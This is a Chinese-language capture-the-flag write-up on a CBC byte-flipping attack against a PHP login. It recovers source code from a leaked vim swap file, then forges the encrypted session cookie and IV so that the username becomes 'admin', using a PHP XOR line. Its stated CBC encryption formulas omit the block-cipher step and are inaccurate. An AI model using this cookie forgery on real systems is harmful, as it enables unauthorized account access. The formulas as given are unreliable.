hint:CBC字节翻转攻击
参考:https://blog.csdn.net/u013577244/article/details/86310881(更详细)
参考:https://www.jianshu.com/p/a61756e54f4f
随便登录个账号看到提示说只有admin可以能看到flag,尝试登录admin账号,他说admin不允许被登录。看到题目提示说是CBC字节翻转攻击,那么就想他肯定会告诉我们iv、cipher什么的吧,于是burp抓包发包,发现响应头中返回了iv、cipher,但是还没完,因为我们不知道后台对我们传进去的username、password作了什么处理,试了一下,发现存在.index.php.swp,访问下载到备份文件,vim -r index.php.swp即可恢复,下面是关键代码部分
编辑
编辑
在这里我们可以看到后台将我们传进去的username、password构造成了数组info,登录的时候先将其序列化,再加密形成cookie中的cipher,并以此来作为我们的身份标识。当我们不post数据而是将返回iv、cipher添加到我们的请求头中再次发起请求时,服务器不会更新我们的身份,而是会利用我们请求头中的iv、cipher来解密,再反序列化得到用户名以此来验证我们的身份,我们来验证一下
编辑
假设我们的username为admik,密码为123,那么序列化后就为
编辑
那我们的思路就是,修改cookie中的值,使其解密出来的username为admin,即将k改为n
知道了思路之后,我们来了解一下CBC是怎么工作的
加密过程
编辑
Plaintext:待加密的数据
IV:用于随机化加密的比特块,保证即使对相同明文多次加密,也可以得到不同的密文。
Key:被一些如AES的对称加密算法使用
Ciphertext:加密后的数据
对于第一块密文:Ciphertext = Plaintext ^ IV
对于第二及剩下的组块:Ciphertext(N) = Ciphertext(N-1) ^ Plaintext
即前一块密文用来产生下一块密文,字节翻转攻击就是利用这一点
解密过程
编辑
对于第一块:Plaintext = Decrypt(Ciphertext) ^ IV
对于第二块及剩下的:Plaintext(N) = Decrypt(Ciphertext) ^ Ciphertext(N-1)
并且还要注意一点:在密文中改变的字节只会影响在下一明文中具有相同偏移量的字节,即如下图
编辑
我们构造的用户名admik账号序列化后为
a:2:{s:8:"username";s:5:"admik";s:8:"password";s:3:"123";}
我们的目标是将k改成n,因此第一件事就是把明文分成16个字节的块:
Block1: a:2:{s:8:"userna
Block2: me";s:5:"admik";
Block3: s:8:"password";s
Block4: :3:"123";}
我们可以看到我们的目标字符位于块2,偏移量为13,这就意味着我们要改变块一中偏移量为13的字符
第二块明文偏移量为13的字符(C) = 第一块密文偏移量为13的字符(A) ^ decrypt(第二块密文的偏移量为13的字符)(B)
即 C = A ^ B,这里我们知道C和A,因此B = A ^ C
假设我们修改A为A2,A2 = A ^ C ^ D(我们想要的字符,这里指n)
那么C = A2 ^ B = A ^ C ^ D ^ A ^ C = 0 ^ D = D,即
$enc[13] = chr(ord($enc[13]) ^ ord("k") ^ ord ("n"))
这里还有一个问题要注意一下,因为我们修改了第一块的密文,如果我们继续用原来的iv去解密第一块密文,那么肯定是不成功的,是无法反序列化的,因此我们需要修改iv,使其解密第一块得到的是a:2:{s:8:"userna
编辑
如何修改iv呢
第一块错误明文 = decrypt(第一块原密文) ^ ord_iv
那么 decrypt(第一块原密文) = 第一块错误明文 ^ ord_iv
第一块正确明文 = decrypt(第一块原密文) ^ new_iv
那么 new_iv = decrypt(第一块原密文) ^ 第一块正确明文 = 第一块错误明文 ^ ord_iv ^ 第一块正确明文
编辑
将其url编码替换原来的iv得到flag
编辑
参考:http://wooyun.jozxing.cc/static/drops/tips-7828.html
|
|